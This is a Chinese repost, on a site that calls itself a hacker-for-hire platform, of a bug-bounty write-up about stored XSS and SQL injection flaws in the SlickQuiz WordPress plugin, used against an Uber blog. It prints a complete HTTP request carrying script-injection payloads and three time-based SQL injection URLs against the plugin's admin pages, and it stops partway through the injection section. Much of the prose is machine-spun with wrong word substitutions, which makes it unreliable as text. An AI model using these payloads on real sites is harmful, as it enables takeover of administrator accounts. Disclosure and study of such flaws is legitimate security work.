综合利用SlickQuiz两个0-Day漏洞接管Uber的WordPress网站-黑客接单平台

访客6年前黑客资讯798
本文叙述作者在参与HackerOne的H1-4420竞赛中,针对厂商Uber的某WordPress博客网站为方针,发现其内置问卷调查插件SlickQuiz最新版存在存储型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516)两个缝隙,经过对这两个缝隙的综合利用,终究获取了方针WordPress网站的管理员凭证,完成了从一般访问者到管理员的提权,作者也因而获得了“更具价值黑客”(MVH)的奖赏。以下是作者在自架WordPress上对缝隙的检验共享。 SlickQuiz问卷成果保存处存在Stored XSS(CVE-2019-12517) 在对插件SlickQuiz的源码审计中,我发现其在保存问卷成果时存在的多个显着存储型XSS,重要的是:不管“Save user scores”(保存用户成果)的选项是否敞开(默许禁用),只需有问卷检验发问呈现就足以触发这种存储型XSS,因为“Save user scores”仅仅仅前端显现的一个敞开选项。 问题出在php/slickquiz-scores.php中的generate_score_row()办法函数上(38-52行),前端用户问卷检验答案等相关回来给SlickQuiz的信息,未经恰当的编码和过滤验证。以下为 generate_score_row()函数代码: function generate_score_row( $score ) { $scoreRow = ''; $scoreRow .= ''; $scoreRow .= '' . $score->id . ''; $scoreRow .= '' . $score->name . ''; $scoreRow .= '' . $score->email . ''; $scoreRow .= '' . $score->score . ''; $scoreRow .= '' . $score->createdDate . ''; $scoreRow .= '' . $this->get_score_actions( $score->id ) . ''; $scoreRow .= ''; return $scoreRow; } 因为用户名$score->name、邮件$score->email和分数$score->score都是前端用户可控的,所以前端用户结构以下这种恳求,就可让后台管理员触发XSS完成: POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 165 DNT: 1 Connection: close action=save_quiz_score&json={"name":"xssscript>alert(1)script>","email":"test@localhostscript>alert(2)script>","score":"script>alert(3)script>","quiz_id":1} 任何具有SlickQuiz管理权限的管理员,只需在后台查看了用户成果分数之后,就会触发结构恳求中的Payload: 这个缝隙现已能十分阐明问题了,但我觉得或许还有更多缝隙存在。 SlickQuiz包括id参数的恳求存在SQL注入缝隙(CVE-2019-12516) 经我研讨发现,SlickQuiz插件只需有id参数呈现的恳求中,简直都会存在SQL注入缝隙,如结构以下5秒推迟,包括id参数的三个恳求: /wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a) /wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a) /wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a) 经检验显现,它们都会呈现5秒推迟: [1][2]黑客接单网

相关文章

HTML5:<a>的ping特点之逝世ping与隐私追寻

在HTML5中 标签参加了一个新的特点ping。规划者参加它的理由是, Ping能够使浏览器对外发送一个异步恳求,一般用来广告的追寻、点击率计算或完结一次HTTP重定向。 可是听到监督、追寻这个词,...

那些年挖过的SRC之我是捡漏王

输出这篇文章的意图也是为了很多人在挖洞时,看到其他大佬钱拿的不要不要的时分,只能在咱们自己自己电脑面前束手无策,这篇文章也是为了带咱们翻开新的思路。 俗话说得好,“不是你套路不行深,是你的根底不行厚...

Modbus TCP流量剖析

Modbus协议 Modbus是全球第一个真实用于工业现场的总线协议,ModBus选用主/从(Master/Slave)方法通讯。最大可支撑247个隶属控制器,但实践所支撑的隶属控制器数还得由所用通讯...

看我怎么发现GitHub提权缝隙取得$10000赏金

之前,我从没参加过GitHub官方的一些缝隙众测项目,在HackerOne建议的HackTheWorld竞赛中,主办方宣扬除了赏金以外,还有时机取得Github供给的终身无约束私有库(unlimit...

开发一个基于Dalvik字节码的相似性检测引擎,比较同一款Android应用程序的不同版本之

上文咱们说过,《针对Dalvik字节码的类似性检测引擎,比较同一款Android运用程序的不同版别之间的代码差异》这篇文章计区分两个部分来解说,上文只介绍了怎么运用Quarkslab公司开发的diff...

保证你网页的安全

 从技能到安全, 这是一个趋势. 曾经寻求的是比较炫酷的技能, 等完成往后发现, 自己还能做什么. 炫技完了之后,差不多就该到悟道的时分了. 用户安全, 便是一个很大的禅. 苹果回绝 FBI, goo...